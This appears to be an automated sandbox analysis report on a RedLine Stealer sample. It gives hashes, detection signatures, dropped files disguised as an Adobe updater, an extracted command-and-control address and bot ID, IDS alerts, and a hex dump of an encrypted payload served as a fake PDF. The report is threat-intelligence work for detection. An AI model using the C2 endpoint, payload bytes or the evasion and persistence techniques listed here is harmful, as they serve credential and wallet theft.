Windows Analysis Report
rthh9q2PDv.exe

Overview

General Information

Sample name: rthh9q2PDv.exe
renamed because original name is a hash value
Original sample name: 12f9806ad64e90f6276302e3c023fb71.exe
Analysis ID: 1535521
MD5: 12f9806ad64e90f6276302e3c023fb71
SHA1: 769b8bdcd4e87324fc7b05d07b600842ceba3aed
SHA256: 8a5b6b6a2d9cd640f59a4c7ed58ad3bbc54268205dd3899356f5cb99a9352a78
Tags: 32exetrojan
Infos:

Detection

RedLine
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected RedLine Stealer
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Downloads files with wrong headers with respect to MIME Content-Type
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses ipconfig to lookup or modify the Windows network settings
Uses known network protocols on non-standard ports
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
RedLine Stealer RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\build.exe Avira: detection malicious, Label: HEUR/AGEN.1305500
Found malware configuration
Source: 6.0.build.exe.650000.0.unpack Malware Configuration Extractor: RedLine {"C2 url": ["87.120.127.223:42128"], "Bot Id": "7772121777"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\build.exe ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe ReversingLabs: Detection: 55%
Multi AV Scanner detection for submitted file
Source: rthh9q2PDv.exe ReversingLabs: Detection: 55%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\build.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: rthh9q2PDv.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log Jump to behavior
Source: rthh9q2PDv.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.ServiceModel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbq source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nHC:\Windows\System.ServiceModel.pdb source: build.exe, 00000006.00000002.3293918454.00000000007F8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: tmp40CA.tmp.exe, 00000002.00000002.2198705352.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2222307639.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000004073000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000003FD1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000D.00000002.2378744221.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000D.00000002.2360009074.0000000002AC2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2458640803.0000000003124000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000004061000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000015.00000002.2472813588.0000000003A61000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000015.00000002.2438972801.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.000000000375D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2511543162.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.0000000003691000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2514013335.0000000002C70000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2550631964.0000000003BAA000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2550631964.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2667511727.0000000003127000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2708997931.0000000003FBA000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2778198678.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2747364809.00000000034A8000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdbj, source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: tmp40CA.tmp.exe, tmp40CA.tmp.exe, 00000002.00000002.2198705352.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2222307639.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000004073000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000003FD1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000D.00000002.2378744221.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000D.00000002.2360009074.0000000002AC2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2458640803.0000000003124000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000004061000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000015.00000002.2472813588.0000000003A61000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000015.00000002.2438972801.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.000000000375D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2511543162.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.0000000003691000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2514013335.0000000002C70000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2550631964.0000000003BAA000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2550631964.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2667511727.0000000003127000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2708997931.0000000003FBA000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2778198678.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2747364809.00000000034A8000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000011.00000002.2458640803.0000000003124000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2511543162.00000000028F6000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbi source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: tmp40CA.tmp.exe, 00000002.00000002.2221990581.0000000006D00000.00000004.08000000.00040000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000004256000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.000000000411E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000004061000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.0000000003691000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.ServiceModel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: tmp40CA.tmp.exe, 00000002.00000002.2221990581.0000000006D00000.00000004.08000000.00040000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000004256000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.000000000411E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000004061000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.0000000003691000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: $]q'AwdWWK5AloC28paBhXS.PDbsRn56IGm56L3AWMn source: Plain_Checker.exe, 00000020.00000002.2514013335.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2667511727.0000000002EA0000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2747364809.0000000003390000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000011.00000002.2458640803.0000000003124000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2511543162.00000000028F6000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: o.pdb source: build.exe, 00000006.00000002.3293918454.00000000007F8000.00000004.00000010.00020000.00000000.sdmp
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 4x nop then jmp 05FE3AC5h 2_2_05FE3928
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 4x nop then jmp 05FE3AC5h 2_2_05FE3918
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 4x nop then jmp 05FE3AC5h 2_2_05FE3A1C
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 4x nop then jmp 06D56D14h 2_2_06D56C90
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 4x nop then jmp 06D56D14h 2_2_06D56C80
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 05953AC5h 13_2_05953918
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 05953AC5h 13_2_05953928
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 05953AC5h 13_2_05953A1C
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 06126D14h 13_2_06126C90
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 06126D14h 13_2_06126C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4x nop then jmp 0660E8F2h 17_2_0660E6C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4x nop then jmp 0660E8F2h 17_2_0660E6D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4x nop then jmp 0660E338h 17_2_0660DF88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4x nop then jmp 0660E338h 17_2_0660DF98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4x nop then jmp 06D8B124h 17_2_06D8AE40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4x nop then jmp 06D8B124h 17_2_06D8AE33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4x nop then jmp 06D8C7B5h 17_2_06D8C218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4x nop then jmp 06D8B124h 17_2_06D8AF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4x nop then jmp 06D8C7B5h 17_2_06D8C218
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 05913AC5h 21_2_05913918
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 05913AC5h 21_2_05913928
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 05913AC5h 21_2_05913A1C
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 06436D14h 21_2_06436C90
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 4x nop then jmp 06436D14h 21_2_06436C80

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49707 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49708 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49737 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49768 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49797 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49829 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49862 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49894 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49927 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49960 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49995 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50010 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50016 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50008 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50004 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50012 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50014 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50018 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50022 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50006 -> 87.120.127.223:42128
Source: Network traffic Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:50020 -> 87.120.127.223:42128
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 87.120.127.223:42128
Downloads files with wrong headers with respect to MIME Content-Type
Source: http Bad PDF prefix: HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 23:57:32 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 03:21:37 GMT ETag: "132608-6246755adcbae" Accept-Ranges: bytes Content-Length: 1254920 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 92 69 07 0f 5b c2 21 1c 90 29 a9 30 5a 9d 5d 11 ca 2a b6 34 da 58 ed 6a 96 bf 7f b9 d7 ab f5 26 58 23 ec 1f 4f 70 12 7e b5 34 0e 6c 22 6a 06 a9 df 8d 30 a2 80 f0 ec 64 dd 26 ed ea 59 18 0a 91 d3 fc e2 1d 44 32 ae c6 f3 7e 74 26 76 5a ee 84 eb 72 48 82 06 39 1f dc a4 04 69 11 ec 08 d5 f8 a8 79 61 b8 d3 43 05 b8 21 c3 13 26 72 23 91 11 ad ea db 9c c9 e9 56 40 d4 e3 94 c1 d3 2e 43 39 7c 49 43 e9 71 82 e1 18 c8 9d 31 36 26 7e 44 8b be c4 01 9f 77 66 97 a5 25 42 15 d6 eb fa 66 54 58 8e 47 94 6a 7c 58 c1 7f 11 65 cc 70 bd 86 7e d9 42 16 50 49 03 df 7d 51 71 29 ff eb 81 9c dc 3d 49 fe 11 ab 55 e8 f4 0d 58 1e 31 95 f9 bd be 8f ea 73 25 c4 12 63 cb 55 f2 32 f0 5a 29 8a ce df 8b f0 df a9 11 2c 39 85 0d 81 4e d9 b5 cf 32 91 69 80 5a 0a 93 9b 7c f4 a6 10 17 7d 3a b4 fb 9a 54 0e 4e 13 c0 61 09 87 0d d8 77 0c 73 53 78 5a 0b df 20 54 06 6c fd fa 0d 9c 55 d5 e1 b7 f0 01 1f 44 d1 cc e9 b8 ad a8 cc 3d 12 60 ef 7a e9 65 99 e1 8a 31 53 d4 18 c7 5b 5f 07 92 ef d3 ab 3a ff dc 58 7f ab f3 56 05 26 a5 83 e0 66 2f 23 5d 21 2e 17 15 09 8e ca 0f e9 7a 85 65 26 3d 2f a9 33 a6 50 3d 64 00 a8 a2 c1 e1 fb b7 1f ee 5d 48 b3 72 74 9c d9 2c 78 ba 89 01 ae 00 b6 49 bc 46 84 b4 b2 a9 a1 d5 5c c8 cf ab 27 b3 75 1f 78 77 87 17 13 a3 60 ab 52 51 e8 f9 bc 9d b4 48 1b 7d 2f 92 ad 8b 79 50 60 5d fe 7a c4 2a af ca f1 6a 46 2f a6 11 63 8b 47 28 1e 4b 70 38 38 06 19 45 bb 5f d0 f1 b1 9c 34 62 42 57 f7 b5 90 9b 7d 97 25 5d 4b 3b 52 05 7a b7 79 78 3a bd 8b 4a 14 a4 c5 d2 7a e6 b9 bd 7a 30 f9 87 b9 e1 28 47 86 0e 84 9e 76 a6 1d 22 55 b4 d9 38 e3 04 29 4f 69 4c f4 d0 b7 c6 2f 12 53 de f3 15 41 54 fb 73 27 3a 3f 3e 12 c2 d8 fd c4 98 60 47 5f c9 d3 e8 ac fd c0 12 c9 37 03 33 73 8d 8d 07 c8 3b 4e 01 57 ef 7f d0 68 3c 80 6e 45 02 18 4d eb f7 da 3e 01 af bf 93 8e db a2 88 52 a8 ee da 91 f1 00 24 79 9e 44 38 77 10 80 0d d3 1e d8 17 8c a1 c6 75 bf 73 c2 ee 94 59 45 4c c4 0b ed 6a c6 69 da 6b d3 f8 1b 5b 3c a7 d3 7a de dc 60 16 2d 13 58 97 a1 40 75 d7 ac c7 90 59 bd d6 84 44 52 a1 49 ee c8 9f 36 bd 05 0b 59 24 62 98 0f 3e f2 e5 9e 6f d7 39 93 e4 c8 0b d0 fa 72 98 d9 f6 7f f2 a4 77 db 13 d2 e7 d9 60 07 01 e4 73 d8 71 ad 49 56 bc 2c 28 97 a3 2c 2f fd b7 31 4d 00 52 9f 04 cc 53 38 1e a6 cf 4e ba 01 fa 44 1d d1 4d 07 52 9b c8 a5 4a f8 07 eb d0 84 2b d4 fd 2a 7a f2 9f d6 13 b5 a3 e1 5d 1a 5e 6f 41 27 d0 77 12 11 ed 75 1f 45 fe 01 db 09 72 f3 56 67 ba 59 1c 8f 49 ce 44 28 d4 a6 62 a1 07 02 44 3f 81 64 19 62 ad 0c 17 f6 42 f0 fa 61 e4 25 60 89 f7 be db 82 f2 cb d3 67 67 43 7c 7c b9 38 1b ba 06 8c 1d ec 94 ab 40 e7 c4 84 8c 45 82 86 91 0d 3d 90 7c 72 12 31 75 11 2d 8e 5a d5 39 6f f0 1b 69 6e 53 a3 74 ab 86 d9 a8 51 91 24 a6 aa da a6 58 ac 30 43 3c f4 e3 96 a6 92 27 29 69 ab bf 9a 10 f6 48 de e8 b
Source: http Bad PDF prefix: HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 23:57:47 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 03:21:37 GMT ETag: "132608-6246755adcbae" Accept-Ranges: bytes Content-Length: 1254920 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 92 69 07 0f 5b c2 21 1c 90 29 a9 30 5a 9d 5d 11 ca 2a b6 34 da 58 ed 6a 96 bf 7f b9 d7 ab f5 26 58 23 ec 1f 4f 70 12 7e b5 34 0e 6c 22 6a 06 a9 df 8d 30 a2 80 f0 ec 64 dd 26 ed ea 59 18 0a 91 d3 fc e2 1d 44 32 ae c6 f3 7e 74 26 76 5a ee 84 eb 72 48 82 06 39 1f dc a4 04 69 11 ec 08 d5 f8 a8 79 61 b8 d3 43 05 b8 21 c3 13 26 72 23 91 11 ad ea db 9c c9 e9 56 40 d4 e3 94 c1 d3 2e 43 39 7c 49 43 e9 71 82 e1 18 c8 9d 31 36 26 7e 44 8b be c4 01 9f 77 66 97 a5 25 42 15 d6 eb fa 66 54 58 8e 47 94 6a 7c 58 c1 7f 11 65 cc 70 bd 86 7e d9 42 16 50 49 03 df 7d 51 71 29 ff eb 81 9c dc 3d 49 fe 11 ab 55 e8 f4 0d 58 1e 31 95 f9 bd be 8f ea 73 25 c4 12 63 cb 55 f2 32 f0 5a 29 8a ce df 8b f0 df a9 11 2c 39 85 0d 81 4e d9 b5 cf 32 91 69 80 5a 0a 93 9b 7c f4 a6 10 17 7d 3a b4 fb 9a 54 0e 4e 13 c0 61 09 87 0d d8 77 0c 73 53 78 5a 0b df 20 54 06 6c fd fa 0d 9c 55 d5 e1 b7 f0 01 1f 44 d1 cc e9 b8 ad a8 cc 3d 12 60 ef 7a e9 65 99 e1 8a 31 53 d4 18 c7 5b 5f 07 92 ef d3 ab 3a ff dc 58 7f ab f3 56 05 26 a5 83 e0 66 2f 23 5d 21 2e 17 15 09 8e ca 0f e9 7a 85 65 26 3d 2f a9 33 a6 50 3d 64 00 a8 a2 c1 e1 fb b7 1f ee 5d 48 b3 72 74 9c d9 2c 78 ba 89 01 ae 00 b6 49 bc 46 84 b4 b2 a9 a1 d5 5c c8 cf ab 27 b3 75 1f 78 77 87 17 13 a3 60 ab 52 51 e8 f9 bc 9d b4 48 1b 7d 2f 92 ad 8b 79 50 60 5d fe 7a c4 2a af ca f1 6a 46 2f a6 11 63 8b 47 28 1e 4b 70 38 38 06 19 45 bb 5f d0 f1 b1 9c 34 62 42 57 f7 b5 90 9b 7d 97 25 5d 4b 3b 52 05 7a b7 79 78 3a bd 8b 4a 14 a4 c5 d2 7a e6 b9 bd 7a 30 f9 87 b9 e1 28 47 86 0e 84 9e 76 a6 1d 22 55 b4 d9 38 e3 04 29 4f 69 4c f4 d0 b7 c6 2f 12 53 de f3 15 41 54 fb 73 27 3a 3f 3e 12 c2 d8 fd c4 98 60 47 5f c9 d3 e8 ac fd c0 12 c9 37 03 33 73 8d 8d 07 c8 3b 4e 01 57 ef 7f d0 68 3c 80 6e 45 02 18 4d eb f7 da 3e 01 af bf 93 8e db a2 88 52 a8 ee da 91 f1 00 24 79 9e 44 38 77 10 80 0d d3 1e d8 17 8c a1 c6 75 bf 73 c2 ee 94 59 45 4c c4 0b ed 6a c6 69 da 6b d3 f8 1b 5b 3c a7 d3 7a de dc 60 16 2d 13 58 97 a1 40 75 d7 ac c7 90 59 bd d6 84 44 52 a1 49 ee c8 9f 36 bd 05 0b 59 24 62 98 0f 3e f2 e5 9e 6f d7 39 93 e4 c8 0b d0 fa 72 98 d9 f6 7f f2 a4 77 db 13 d2 e7 d9 60 07 01 e4 73 d8 71 ad 49 56 bc 2c 28 97 a3 2c 2f fd b7 31 4d 00 52 9f 04 cc 53 38 1e a6 cf 4e ba 01 fa 44 1d d1 4d 07 52 9b c8 a5 4a f8 07 eb d0 84 2b d4 fd 2a 7a f2 9f d6 13 b5 a3 e1 5d 1a 5e 6f 41 27 d0 77 12 11 ed 75 1f 45 fe 01 db 09 72 f3 56 67 ba 59 1c 8f 49 ce 44 28 d4 a6 62 a1 07 02 44 3f 81 64 19 62 ad 0c 17 f6 42 f0 fa 61 e4 25 60 89 f7 be db 82 f2 cb d3 67 67 43 7c 7c b9 38 1b ba 06 8c 1d ec 94 ab 40 e7 c4 84 8c 45 82 86 91 0d 3d 90 7c 72 12 31 75 11 2d 8e 5a d5 39 6f f0 1b 69 